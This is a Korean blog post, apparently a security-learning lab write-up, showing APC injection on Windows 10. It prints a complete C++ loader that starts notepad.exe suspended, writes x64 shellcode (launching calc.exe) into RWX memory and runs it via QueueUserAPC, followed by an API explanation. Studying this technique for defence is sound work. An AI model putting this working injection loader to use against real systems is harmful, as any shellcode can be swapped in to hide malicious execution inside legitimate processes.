APC Injection 실습 (1)
실습환경: windows 10 21H2 64bit
실습대상: notepad.exe
실습도구: visual studio 2022 17.1.1, Process Explorer v16.43
참고: (링크)
[+] APC Injection 간단정리
· QueueUserAPC(): 특정 스레드를 queue에 대기시키기 위해 APC 활용
· 각 스레드에는 독립적인 APC queue가 존재함. 응용 프로그램은 QueueUserAPC() 함수를 호출하여 APC를 스레드에 큐잉
· APC 큐잉 == 스레드가 APC 함수를 호출하기위한 요청
실습 (APC_injection_1.sln)
① calc.exe를 실행하는 페이로드 생성
② 해당 페이로드를 코드에서 사용할 수 있도록 변형 (\xfc → 0xfc)
③ 코드 작성 (evil.cpp)
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// 계산기 프로그램 페이로드
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID my_payload_mem;
SIZE_T my_payload_len = sizeof(my_payload);
LPCWSTR cmd;
HANDLE hProcess, hThread;
NTSTATUS status;
ZeroMemory(&si, sizeof(si)); // 메모리 영역을 0X00으로 채우는 매크로
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
CreateProcess(
L"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, false,
CREATE_SUSPENDED, NULL, NULL, &si, &pi
);
WaitForSingleObject(pi.hProcess, 5000); ////5000밀리초 대기. 5초?
hProcess = pi.hProcess;
hThread = pi.hThread;
//페이로드 위한 메모리버퍼 할당
my_payload_mem = VirtualAllocEx(hProcess, NULL, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 할당된 버퍼에 페이로드 작성
WriteProcessMemory(hProcess, my_payload_mem, my_payload, my_payload_len, NULL);
// suspended 상태의 스레드 인젝션
PTHREAD_START_ROUTINE apc_r = (PTHREAD_START_ROUTINE)my_payload_mem;
QueueUserAPC((PAPCFUNC)apc_r, hThread, NULL);
// 스레드 재시작
ResumeThread(hThread);
return 0;
}
코드 설명
① CreateProcess() 통해서 합법적으로 정상 프로세스 생성 (notepad.exe)
이 때, 프로세스 생성 플래그는 CREATE_SUSPENDED로 설정해주어야 함.
BOOL CreateProcess(
LPCSTR lpApplicationName, // 실행파일 이름
LPSTR lpCommandLine, // 매개변수 정보
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags, // 프로세스 생성 플래그
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
② 생성된 프로세스의 메모리 공간에 페이로드를 위한 공간 할당
③ Shell 코드를 가리키는 APC 루틴 선언 후 할당된 메모리에 페이로드 Write.
④ 현재 suspended state 에 있는 메인 스레드에 APC가 큐잉
BOOL WriteProcessMemory(
HANDLE hProcess, //대상 스레드 핸들
LPVOID lpBaseAddress, //데이터가 write될 스레드의 base address를 가리키는 포인터
LPCVOID lpBuffer, //write할 데이터가 존재하는 버퍼를 가리키는 포인터
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten //쓰거나 읽은 메모리의 크기를 반환
);
DWORD QueueUserAPC (
PAPCFUNC pfnAPC, //대상 스레드가 호출할 실제 APC 함수를 가리키는 포인터
HANDLE hThread, //대상 스레드의 핸들
DWORD dwDate //APC 함수가 수행될 때 함수로 전달될 인수
);
⑤ 스레드를 다시 시작하면 페이로드가 실행됨
결과
APC_injection_1.exe 실행 시
메인 스레드(notepad.exe)가 실제로 중단되는 것을 확인할 수 있다.
그리고 주입한 페이로드가 실행되어 calc.exe 오픈.
그림으로 보는 코드 실행 과정
'System > TTPs' 카테고리의 다른 글
DLL Hijacking 실습 (2) (0) | 2024.10.26 |
---|---|
APC injection 실습 (2) (0) | 2023.03.31 |
3. APC(Asynchronous Procedure Call) Injection (0) | 2023.03.30 |
DLL Hijacking 실습 (4) - 리버스 쉘 (0) | 2023.03.30 |
DLL Hijacking 실습 (3) (0) | 2023.03.30 |